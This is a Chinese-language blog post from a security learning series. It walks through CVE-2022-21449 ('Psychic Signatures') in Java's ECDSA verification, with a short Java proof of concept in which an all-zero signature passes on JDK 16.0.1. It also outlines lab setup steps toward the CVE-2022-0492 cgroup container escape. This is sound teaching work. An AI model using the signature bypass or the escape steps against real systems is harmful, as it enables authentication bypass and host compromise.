iT邦幫忙

2022 iThome 鐵人賽

DAY 20
0
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 22

Day20 - 如果我沒看錯,你就是簽章中的霸主~ 心靈簽章(Psychic Signatures) (作業7解答)

  • 分享至 

  • xImage
  •  

「先別走!行行出狀元!如果我沒看錯,你會是乞丐中的霸主!」-《武狀元蘇乞兒》

Yes

  • 第20天要來點我害怕的數學惹,這是一個 Java VM 針對橢圓密碼曲線驗證簽章實作上的疏失導致可以被繞過,該漏洞相關資訊如下。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-21449
    • CVSS 3.0 分數 : 7.5 HIGH
    • 漏洞類型 : 認證授權繞過
    • 使用版本資訊
      • Ubuntu: 22.04.1 LTS
      • JDK: 16.0.1
    • 漏洞先備知識 :
      • Java 程式設計
    • 漏洞收穫技能 :
      • 密碼學非對稱式加解密、簽章概念
      • 橢圓曲線運算及簽章法
  • 在密碼學中的有幾個重要的應用,像是加解密、簽章驗證,很大一部分都是保證了資訊安全的機密性或是完整性。所以這邊針對密碼學的部分要簡單說明一下概念,這邊就舉個簡單的例子。

對稱式加密法
https://ithelp.ithome.com.tw/upload/images/20221005/20148308Z4lP5iACod.jpg

非對稱式加密法
https://ithelp.ithome.com.tw/upload/images/20221005/20148308ULiEBgIn7Y.jpg

簽章及驗章
https://ithelp.ithome.com.tw/upload/images/20221005/201483087b94bJE2LM.jpg

  • 有了上述的基礎觀念,就可以來討論這個漏洞。這個漏洞又被稱為心靈簽章(Psychic Signatures),依照參考資料 CVE-2022-21449: Psychic Signatures in Java 提到這個稱呼的來源是因為在 BBC 科幻節目 Doctor Who 中有個道具叫做 psychic paper ,可以依照博士的意願變成博士想讓別人看到的東西。也就是說依照剛剛上面的流程概念,可以透過該弱點製作出一張心靈簽章,不管我內容帶甚麼數值都會驗證通過,達成認證、授權繞過的效果。

建立步驟如下 :

  1. 下載 Java SE Development Kit 16.0.1 版本,並選擇 Linux x64 Compressed Archive
  2. tar xvf jdk-16.0.1_linux-x64_bin.tar.gz # 放置到任意目錄後解壓縮
  3. vim ~/.bashrc # 更新 PATH 路徑
  4. java -version # 確認版本為 16.0.1
  5. vim ECDSATest.java
import java.security.* ;
public class ECDSATest {
    public static void main(String [] args) throws Exception {
        KeyPair keys = KeyPairGenerator.getInstance("EC").generateKeyPair() ;
        Signature sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;

        sig.initSign(keys.getPrivate());
        sig.update("Hello, World".getBytes()) ;
        byte [] signature = sig.sign() ;

        sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;
        sig.initVerify(keys.getPublic()) ;
        sig.update("Hello, World".getBytes()) ;
        System.out.println("verify with Original Signatures:" + sig.verify(signature)) ;

        byte [] blankSignature = new byte[64] ;
        sig = Signature.getInstance("SHA256WithECDSAInP1363Format") ;
        sig.initVerify(keys.getPublic()) ;
        sig.update("Hello, World".getBytes()) ;
        System.out.println("verify with Psychic  Signatures:" + sig.verify(blankSignature)) ;
    }
}
  1. java ECDSATest #檢查結果均為 True
  • 所以目前看起來 Java 某些版本的 VM 針對全為 0 的簽章資訊都會認為是通過的,那下次的影片就會開始針對背後的原理做簡單的計算跟說明。

CVE-2022-0492 作業解答 :

docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu bash 

步驟如下 :

  1. cat /sys/fs/cgroup/cgroup.controllers # 確認不是 v2 版本
  2. 下載 v5.16.20 相關檔案
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-headers-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-headers-5.16.20-051620_5.16.20-051620.202204131933_all.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-image-unsigned-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16.20/amd64/linux-modules-5.16.20-051620-generic_5.16.20-051620.202204131933_amd64.deb
  1. sudo dpkg -i *.deb #不要一個個安裝,會失敗,讓系統自己決定相依性
  2. sudo update-grub
  3. sudo shutdown -r now
  4. docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu bash
  5. apt update && apt install fdisk libcap2-bin -y
  6. capsh --print
  7. unshare -UrmC --propagation=unchanged bash
  8. capsh --print
  9. 透過 cgroup 手法進行容器逃逸

參考資料 :

  1. CVE-2022-0492 容器逃逸分析

上一篇
Day19 - 當容器逃逸的生活遇到瓶頸時,知道該怎麼做嗎?繼續用 unshare 就對了。(作業7)
下一篇
Day21 - 數學就像一盒巧克力;你永遠都不知道下一加法乘法是什麼定義
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言